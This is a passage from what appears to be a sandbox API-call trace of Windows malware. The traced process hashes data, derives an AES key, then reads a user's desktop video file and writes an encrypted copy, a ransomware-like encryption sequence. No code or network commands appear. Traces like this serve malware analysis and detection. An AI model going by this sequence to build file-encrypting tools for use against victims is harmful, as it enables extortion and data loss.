lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.777] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.777] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.777] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.777] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.777] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.778] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b960, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.778] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.778] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.778] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.778] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0022.779] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.780] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\frzbojgkva5c6myj.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.780] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.780] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.781] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.781] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\frzbojgkva5c6myj.encrypted.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.783] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.783] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.784] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6923, lpOverlapped=0x0) returned 1 [0022.784] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.787] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.787] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.787] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.787] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.788] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.788] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.788] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.788] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.789] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064b20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.790] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.790] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.791] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16923, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16930) returned 1 [0022.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.791] CharLowerBuffW (in: lpsz="byte[92465]", cchLength=0xb | out: lpsz="byte[92465]") returned 0xb [0022.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.793] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.794] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.794] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4204560*, pdwDataLen=0xe8f3dfdf68*=0x16923, dwBufLen=0x16930 | out: pbData=0xe8f4204560*, pdwDataLen=0xe8f3dfdf68*=0x16930) returned 1 [0022.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.795] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.795] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, 